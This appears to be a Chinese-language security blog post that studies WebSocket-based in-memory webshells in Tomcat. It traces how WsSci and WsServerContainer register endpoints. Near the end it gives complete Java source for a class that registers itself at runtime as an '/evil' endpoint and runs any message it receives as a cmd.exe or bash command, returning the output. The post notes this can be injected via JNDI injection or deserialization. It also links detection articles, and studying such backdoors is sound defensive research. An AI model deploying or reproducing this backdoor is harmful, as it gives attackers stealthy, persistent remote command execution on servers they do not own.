0%

websocket内存马

6193d09c503d8e057afa1636_Java code review checklist-min-p-1600

前言

看到新型内存马项目,学习一下,项目地址:https://github.com/veo/wsMemShell

websocket类型内存马的学习,环境:Tomcat 8.5 + JDK1.8

websocket

先读这一篇前置知识文章:WebSocket通信原理和在Tomcat中实现源码详解

Tomcat7早期版本7.0.47之前还没有出 JSR356标准时,自己实现了一套接口,支持websocket。后来Tomcat7.0.47版本废弃自定义的API,实现了JSR356标准。

根据JSR356规定, 建立WebSocket连接的服务器端和客户端,两端对称,抽象成API,就是一个个Endpoint(端点),只不过服务器端的叫 ServerEndpoint,客户端的叫 ClientEndpoint。客户端向服务端发送WebSocket握手请求,建立连接后就创建一个ServerEndpoint对象

websocket基于Tomcat实现

tomcat中存在两种方式:一、ServerEndpoint注解方式。二、继承抽象类Endpoint方式。这里利用注解方式来进行实现

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

@ServerEndpoint(value = "/websocket")
public class WebSocket{
private Session session;

@OnOpen
public void start(Session session) {
this.session = session;
this.session.getAsyncRemote().sendText("websocket strt");
}

@OnClose
public void end() {
System.out.println("websocket close");
}

@OnMessage
public void incoming(String message) {
this.session.getAsyncRemote().sendText("websocket recievd: "+message);
}

@OnError
public void onError(Throwable t) {
System.out.println("websocket error");
}
}

关于继承抽象类Endpoint的方式,需要自己实现 MessageHandlerServerApplicationConfig

MessageHandler 用于处理消息,ServerApplicationConfig用于处理URI映射。

websocket加载

Tomcat通过 org.apache.tomcat.websocket.server.WsSci 专门对 websocket 进行初始化以及加载,该类实现了接口 javax.servlet.ServletContainerInitializer

该接口是Servlet 3.0规范中定义的用来接收Web应用启动事件的接口,简称为SCI加载机制。

该机制在Tomcat部署装载Web项目 org.apache.catalina.core.StandardContext#startInternal 时主动触发 ServletContainerInitializer#onStartup,做一些扩展的初始化操作。

WsSci#onStartup

WsSci会将 HandlesTypes注解指定的类扫描出来,并 创建WebSocketContainer容器,将扫描的类添加到容器中。扫描的类如下

  • 注解类ServerEndpoint即 @ServerEndpoint
  • ServerApplicationConfig实现类
  • Endpoint子类

调试一下,扫描到刚才自定义的 ServerEndpoint,创建WebSocketContainer容器,这里用的是 WsServerContainer

image-20220720232039952

在 WsServerContainer 的构造函数中为ServletContext添加了一个 org.apache.tomcat.websocket.server.WsFilter 类型的Filter用来 处理websocket的请求

image-20220720234850629

回到SCI中,定义三个set集合针对扫描到的三种不同类

image-20220720232801875

三个if对不同类型进行添加

  • 当前类为ServerApplicationConfig 添加到 serverApplicationConfigs 集合中
  • 当前为Endpoint的子类 添加到 scannedEndpointClazzes 集合中
  • 当前类为ServerEndpoint 添加到 scannedPojoEndpoints 集合中

image-20220720235931159

又重新定义了 两个集合filteredEndpointConfigsfilteredPojoEndpoints,如果 serverApplicationConfigs 为空即不存在以继承抽象类Endpoint的方式编写的类,将注释方式的类添加 filteredPojoEndpoints 中,else中不在赘述。

image-20220721001100660

通过 addEndpoint 添加到WebSocketContainer容器中,两种websocket实现方式调用的addEndpoint也不相同

  • Endpoint 子类调用的是形参为 (ServerEndpointConfig)
  • ServerEndpoint 类调用的形参为 (Class<?> pojo, boolean fromAnnotatedPojo)

image-20220721002347745

WsServerContainer#addEndpoint

定义 ServerEndpointConfig 变量,然后获取 ServerEndpoint 的路径

image-20220721004610184

最后调用一堆方法去构造出 ServerEndpointConfig 对象

image-20220721004816947

再次调用addEndpoint,传入ServerEndpointConfig 等配置对象,这里很明显能看出通过 PojoMethodMapping 类去解析配置信息,获取OnClose、OnOpen等方法,添加到 ServerEndpointConfig 对象中

image-20220721203956691

接下来通过UriTemplate去处理映射的路由路径,对path进行是否重复的检查,把path和其ServerEndpointConfig对象添加到 configExactMatchMap

image-20220721232910575

至此完成添加一个ServerEndpoint。

websocket通信

关于WsFilter,当服务器接收到来自客户端的请求时,首先WsFilter会判断该请求是否是一个WebSocket Upgrade请求(即包含Upgrade: websocket头信息)。如果是,则根据请求路径查找对应的Endpoint处理类。只需要知道WsFilter用来处理websocket请求,对应的EndPoint进行处理即可。

websocket注入实现

实现思路类比其他类型内存马

  • 获取StandardContext
  • 获取WebSocketContainer
  • 创建恶意的ServerEndpointConfig
  • 调用addEndpoint()

websocket.java

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class wssocket extends Endpoint {
static{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(wssocket.class, "/evil").build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}

private Session session;

@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(new MessageHandler());
}

private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> {
@Override
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

可搭配 JNDI注入、反序列化等注入内存

image-20220722015033708

检测

https://mp.weixin.qq.com/s/T3UfA1plrlG-e9lgfB4whg

https://www.freebuf.com/articles/web/339361.html

参考

Websocket的使用(javax.websocket版本)

WebSocket通信原理和在Tomcat中实现源码详解

https://www.cnblogs.com/duanxz/p/5041110.html

https://bbs.huaweicloud.com/blogs/351314